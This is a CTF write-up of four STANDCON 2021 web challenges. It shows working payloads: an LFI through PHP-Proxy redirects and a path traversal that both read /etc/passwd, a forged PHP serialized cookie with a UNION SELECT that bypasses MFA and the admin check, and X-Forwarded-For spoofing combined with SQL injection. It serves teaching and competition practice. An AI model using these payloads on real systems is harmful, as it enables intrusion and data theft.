This page looks best with JavaScript enabled

STANDCON CTF 2021 Writeups

Hosted by N0H4TS on 24 July

 ·  ☕ 11 min read  ·  🌈🕊️ rainbowpigeon

Good job to my team for obtaining 7th place! And also thanks to the challenge creators and organizers of course :)
🎵 Nicky Romero & MARF ft. Wulf - Okay🎵

Table of Solves

Web

Space Station

Where do you want to go?

http://20.198.209.142:55047

The flag is in the flag format: STC{…}

Author: zeyu2001

If we visit the site, we just get a blank page with a one-line message.

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Date: Sat, 24 Jul 2021 16:25:28 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.2
Content-Length: 11
Connection: close
Content-Type: text/html; charset=UTF-8

Hello Mars!

Running a Burp Suite ‘Discover content’ scan, we find /app and /flag.txt.

Burp Suite discover content scan finds '/app' and 'flag.txt'

/flag.txt gives 403 Forbidden, so let’s check out /app.

Space Station website with PHP-Proxy input bar at the bottom

At the bottom of the page we can enter URLs into an input bar powered by something called ‘PHP-Proxy’.

1
2
3
<div id="footer" class="page-footer text-center container">
  Powered by <a href="//www.php-proxy.com/" target="_blank">PHP-Proxy</a>
</div>

I went to the Github repository of this tool and found an open issue regarding a LFI vulnerability: https://github.com/Athlon1600/php-proxy-app/issues/161
Essentially, we just have to host our own page with the below contents and then submit it into the input bar.

1
2
3
<?PHP
Header('location: file:///etc/passwd');
?>

To do this, we can spin up a publicly-accessible server real quick with php -S localhost:8000 and ngrok http 8000. ngrok creates a tunnel to localhost and after that we can submit the ngrok-generated public URL into PHP-Proxy:

1
2
3
4
5
6
7
POST /app/index.php HTTP/1.1
Host: 20.198.209.142:55047
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
Connection: close

url=http://cf401da24959.ngrok.io/lfi.php

After a few 302 Found redirects, we are greeted with the contents of /etc/passwd.

LFI exposes '/etc/passwd' on server running PHP-Proxy'

Now, we can retrieve the flag.txt we couldn’t access previously by modifying our payload:

1
2
3
<?PHP
Header('location: file:///var/www/html/flag.txt');
?>

Submitting our URL again and following the redirects gives us the contents of flag.txt:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
HTTP/1.1 200 OK
Date: Sat, 24 Jul 2021 09:40:27 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 58
Connection: close
Content-Type: text/html; charset=UTF-8

STC{l0cal_f1l3_1nclus10n_328d47c2ac5b2389ddc47e5500d30e04}

Flag: STC{l0cal_f1l3_1nclus10n_328d47c2ac5b2389ddc47e5500d30e04}

Specimens

Collected a bunch of specimens on our last run, wonder if there is more we misplaced.

http://20.198.209.142:55042

The flag is in the flag format: STC{…}

Author: LegPains

Checking the site out and looking at its source code reveals an obvious possible LFI / Path Traversal vulnerability in /?specimen=.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<ul class="nav">
  <li class="nav-item">
    <a class="nav-link active" href="?specimen=turtle.php">Specimen 1</a>
  </li>
  <li class="nav-item">
    <a class="nav-link active" href="?specimen=meteorite.php">Specimen 2</a>
  </li>
  <li class="nav-item">
    <a class="nav-link active" href="?specimen=astronaut.php">Specimen 3</a>
  </li>
</ul>

Burp Suite’s ‘active scan’ feature marked this as a successful payload:

1
2
3
GET /?specimen=..././..././..././..././..././..././..././..././..././..././etc/passwd HTTP/1.1
Host: 20.198.209.142:55042
Connection: close

Confirmed retrieval of file contents:

LFI exposes '/etc/passwd' on Specimens server'

After a bit of guesswork which I dislike, we find flag.txt in /var/www/:

1
2
3
GET /?specimen=..././..././..././..././..././..././..././..././..././..././var/www/flag.txt HTTP/1.1
Host: 20.198.209.142:55042
Connection: close

Response:

1
2
3
<section class="container-fluid">
  STC{StRINg_r3PLace_I5_n0T_ReCUR5ive}
</section>

Flag: STC{StRINg_r3PLace_I5_n0T_ReCUR5ive}

Star Cereal

Have you heard of Star Cereal? It’s a new brand of cereal that’s been rapidly gaining popularity amongst astronauts - so much so that their devs had to scramble to piece together a website for their business! The stress must have really gotten to them though, because a junior >dev accidentally leaked part of the source code…

http://20.198.209.142:55043

The flag is in the flag format: STC{…}

Author: zeyu2001

Hint: **Note: This is NOT required for solving but may have caused some of your payloads to fail. **

In line 11 of process_login.php:

$this->query = "SELECT email, password FROM admins WHERE email=? AND password=?";

Should be

$this->query = "SELECT email, password FROM starcereal.admins WHERE email=? AND password=?";

Additional hint: Think about what the code is checking. Your solution should work regardless of the contents of the database.

Attached: process_login.php

The login page of Star Cereal at /login.php requires an email address, password, and MFA token.

Star Cereal login page with fields for email address, password, and MFA token'

Looking at the source code provided in the attached file process_login.php,

1
2
3
4
5
6
// Handle form submission
if (isset($_POST['email']) && isset($_POST['pass']) && isset($_POST['token']))
{
  $login = new Login(new User($_POST['email'], $_POST['pass']), $_POST['token']);
  setcookie("login", urlencode(base64_encode(serialize($login))), time() + (86400 * 30), "/");
}

we can understand that the:

  1. email address, password, and MFA token are sent as POST parameters
  2. email address and password used to create a User object
  3. User object and MFA token used to make a Login object.
  4. Final Login object is then serialized, base64-encoded, url-encoded, and then used as a login cookie.

To verify this login cookie, it is decoded and unserialized back into a Login object. verifyLogin() method of the Login object is then called as seen below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// Verify login
if(isset($_COOKIE["login"])){
  try
  {
    $login = unserialize(base64_decode(urldecode($_COOKIE["login"])));
    if ($login->verifyLogin())
    {
      $_SESSION['admin'] = true;
    }
    else
    {
      $_SESSION['admin'] = false;
    }

Bypassing verifyLogin (MFA)

In verifyLogin(), our input mfa_token is checked with randomly-generated _correctValue.
The source code on lines 16 and 17 tells us that:

  • _correctValue is securely generated with random_int, so we are not supposed to try to guess _correctValue.
  • mfa_token and _correctValue is compared strictly with ===, so we are not looking at a type juggling vulnerability either.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Login
{
  public $user;
  public $mfa_token;

  protected $_correctValue;

  function __construct($user, $mfa_token)
  {
    $this->user = $user;
    $this->mfa_token = $mfa_token;
  }

  function verifyLogin()
  {
    $this->_correctValue = random_int(1e10, 1e11 - 1);
    if ($this->mfa_token === $this->_correctValue)
    {
      return $this->user->is_admin();
    }
  }
}

Instead, the vulnerability lies in the fact that untrusted user input (login cookie) is unserialized back into objects (Login, User) without any prior validation or verification. This means that we can craft and modify our own serialized Login and User objects and attributes, encode it as a login cookie, submit it to the website’s login, and it will just be happily deserialized.
To bypass the MFA check, we can change the mfa_token attribute to be a reference to _correctValue so that they will always be strictly equal to each other. In code, it will look like this:

1
2
3
4
5
function __construct($user, $mfa_token)
{
  $this->user = $user;
  $this->mfa_token = &$this->_correctValue;
}

But how would the corresponding objects and serialized objects look like?

First, this is the unmodified Login object shown with print_r in a local testing environment:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
Login Object
(
    [user] => User Object
        (
            [email] => a
            [password] => b
            [sql:protected] => SQL Object
                (
                    [query:protected] => SELECT email, password FROM admins WHERE email=? AND password=?
                )

        )

    [mfa_token] => 6123123
    [_correctValue:protected] => 
)

And this is the serialized unmodified Login object with some newline formatting. Do also note that the \0s are supposed to be actual null bytes.

1
2
3
4
5
6
7
O:5:"Login":3:{
  s:4:"user";O:4:"User":3:{
    s:5:"email";s:1:"a";s:8:"password";s:1:"b";s:6:"\0*\0sql";O:3:"SQL":1:{
      s:8:"\0*\0query";s:63:"SELECT email, password FROM admins WHERE email=? AND password=?";
    }
  }s:9:"mfa_token";s:7:"6123123";s:16:"\0*\0_correctValue";N;
}

Now, by modifying $this->mfa_token = $mfa_token; to be $this->mfa_token = &$this->_correctValue; and printing the serialized object, we observe that

1
s:9:"mfa_token";s:7:"6123123";s:16:"\0*\0_correctValue";N;

will be changed to

1
s:9:"mfa_token";N;s:16:"\0*\0_correctValue";R:7;

mfa_token no longer has a string value s but a null value N. _correctValue is also being referenced as evident by the R.

That’s great! But after bypassing this MFA check we still have a is_admin() method being called on the User object.

Bypassing is_admin (SQL)

In is_admin(), an SQL query is executed, rows are retrieved and checked to have non-empty email and password column values. An SQL object is also first created on line 12.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class User
{
  public $email;
  public $password;

  protected $sql;

  function __construct($email, $password)
  {
    $this->email = $email;
    $this->password = $password;
    $this->sql = new SQL();
  }
  function is_admin()
  {
    $result = $this->sql->exec_query($this->email, $this->password);
    
    if ($result && $row = $result->fetch_assoc()) {
      if ($row['email'] && $row['password'])
      {
        return true;
      }
    }
    return false;
  }
}

Looking into the SQL object created, we see that prepared statements are used to bind query parameters so SQL injection is not possible. However, we can instead exploit the PHP deserialization vulnerability again to modify query to whatever we like, as long as we ensure that our new query returns rows that have non-empty email and password fields.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class SQL
{
  protected $query;

  function __construct()
  {
    $this->query = "SELECT email, password FROM admins WHERE email=? AND password=?";
  }

  function exec_query($email, $pass)
  {
    $conn = new mysqli("db", getenv("MYSQL_USER"), getenv("MYSQL_PASS"));
    $stmt = $conn->prepare($this->query);
    // Sanity check
    if (! $stmt->bind_param("ss", $email, $pass))
    {
      return NULL;
    }
    $stmt->execute();
    $result = $stmt->get_result();
    return $result;
  }
}

Initially, I thought of using SELECT email, password FROM starcereal.admins WHERE email=? AND password=? OR 1=1 to return all existing rows in the database, but it did not work. I hypothesized that this could be because the existing database was empty and contained no rows to fetch.
As such, I modified the query to be:

1
SELECT email, password FROM starcereal.admins WHERE email=? AND password=? UNION SELECT 'a', 'a'

which will definitely return a row with email value 'a' and password value 'a' even if the existing database was empty. Note that admins is changed to starcereal.admins as suggested by the challenge’s hint.

Final payload

To easily edit encoded serialized data to modify the query attribute to our new payload, we can use Hackvertor which is a Burp Suite extension.

  1. Paste the base64-encoded login cookie into Input.
  2. Use auto_decode_no_decrypt on the Input and we can see the serialized objects in the Output.
  3. Swap Output with Input

'login' cookie auto-decoded with Hackvertor to show serialized data

After swapping, you can now edit the serialized object string as Input and it will be automatically converted into the appropriate login cookie format in the Output!

Serialized objects available for editing as Input in Hackvertor

So now, this is how our final serialized payload looks like with additional newline formatting. Note that query";s:63 on line 4 also needs to be changed to query";s:96 to reflect the new length of the query string.

1
2
3
4
5
6
7
O:5:"Login":3:{
  s:4:"user";O:4:"User":3:{
    s:5:"email";s:1:"a";s:8:"password";s:1:"b";s:6:"\0*\0sql";O:3:"SQL":1:{
      s:8:"\0*\0query";s:96:"SELECT email, password FROM starcereal.admins WHERE email=? AND password=? UNION SELECT 'a', 'a'";
    }
  }s:9:"mfa_token";N;s:16:"\0*\0_correctValue";R:7;
}

Encoding it via Hackvertor and submitting it as a login cookie to /login.php:

1
2
3
4
5
GET /login.php HTTP/1.1
Host: 20.198.209.142:55043
Content-Length: 0
Cookie: login=Tzo1OiJMb2dpbiI6Mzp7czo0OiJ1c2VyIjtPOjQ6IlVzZXIiOjM6e3M6NToiZW1haWwiO3M6MToiYSI7czo4OiJwYXNzd29yZCI7czoxOiJiIjtzOjY6IgAqAHNxbCI7TzozOiJTUUwiOjE6e3M6ODoiACoAcXVlcnkiO3M6OTY6IlNFTEVDVCBlbWFpbCwgcGFzc3dvcmQgRlJPTSBzdGFyY2VyZWFsLmFkbWlucyBXSEVSRSBlbWFpbD0%2FIEFORCBwYXNzd29yZD0%2FIFVOSU9OIFNFTEVDVCAnYScsICdhJyI7fX1zOjk6Im1mYV90b2tlbiI7TjtzOjE2OiIAKgBfY29ycmVjdFZhbHVlIjtSOjc7fQ%3D%3D
Connection: close

we get a flag in the HTML response:

1
2
3
4
<div class="alert alert-success" role="alert">
  Welcome back, admin! Your flag is STC{1ns3cur3_d3s3r14l1z4t10n_7b20b860e23a128688cffc07a5b7e898}
  63				
</div>

Flag: STC{1ns3cur3_d3s3r14l1z4t10n_7b20b860e23a128688cffc07a5b7e898}

Star Cereal 2

Ha, that was sneaky! But I’ve patched the login so that people like you can’t gain access anymore. Stop hacking us!

http://20.198.209.142:55045

The flag is in the flag format: STC{…}

Author: zeyu2001

The website has interesting HTML comments that suggests there is a login vulnerability, but the login page is only accessible internally. 172.16.2.155 is also revealed to be one of the internal endpoints.

1
2
3
4
5
6
7
<!--
Star Cereal page by zeyu2001

TODO:
	1) URGENT - fix login vulnerability by disallowing external logins (done)
	2) Integrate admin console currently hosted at http://172.16.2.155
-->

Checking the login page at /login.php gives us a 403 Forbidden and a message that says only admins are allowed to login.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
HTTP/1.0 403 Forbidden
Date: Sat, 24 Jul 2021 15:29:39 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.2
Set-Cookie: PHPSESSID=2a42e091da0f044623fad50036d57ff9; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

<h1>Forbidden</h1><p>Only admins allowed to login.</p>

This seems like a routing-based SSRF challenge via HTTP headers so I used Burp Intruder to place IP address payloads from the internal 172.16.2.0/24 subnet in various headers.

Burp Intruder 'Battering ram' attack with payloads in numerous HTTP headers

Burp Intruder 'number' payload type from 0 to 255

Filtering out 4xx responses, we see that our 172.16.2.24 payload responded with a 200 OK and a login page!

Burp Intruder results show 172.16.2.24 payload gives a valid login page

As seen from the source code, we need to send a POST request to /login.php with email and pass parameters to login. I narrowed down the exploitable HTTP header to be X-Forwarded-For so we just need to include X-Forwarded-For: 172.16.2.24 in our request.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<form action="/login.php" method="post">
    <div class="form-group">
      <label for="email">Email address</label>
      <input type="email" class="form-control" id="email" name="email" placeholder="Enter email">
      </div>
      <div class="form-group">
      <label for="pass">Password</label>
      <input type="pass" class="form-control" id="pass" name="pass" placeholder="Enter password">
      </div>
    <button type="submit" class="btn btn-primary">Submit</button>
  </form>

I assumed that the login vulnerability mentioned in the HTML comments was an SQL injection and the affected query statement was something similar to that of Star Cereal except that it does not use prepared statements. Thus, I tried using ' UNION SELECT "a", "a"# in the pass field:

1
2
3
4
5
6
7
8
POST /login.php HTTP/1.1
Host: 20.198.209.142
Connection: close
X-Forwarded-For: 172.16.2.24
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

email=a&pass='+UNION+SELECT+"a",+"a"%23

Flag in HTML response:

1
2
3
4
<div class="alert alert-success" role="alert">
  Welcome back, admin! Your flag is STC{w0w_you'r3_r3lly_a_l33t_h4x0r_bc1d4611be52117c9a8bb99bf572d6a7}
  68				
</div>

Flag: STC{w0w_you'r3_r3lly_a_l33t_h4x0r_bc1d4611be52117c9a8bb99bf572d6a7}


Thanks for reading :)

Share on

rainbowpigeon
WRITTEN BY
rainbowpigeon
OSCP | OSED | Burp Suite Certified Practitioner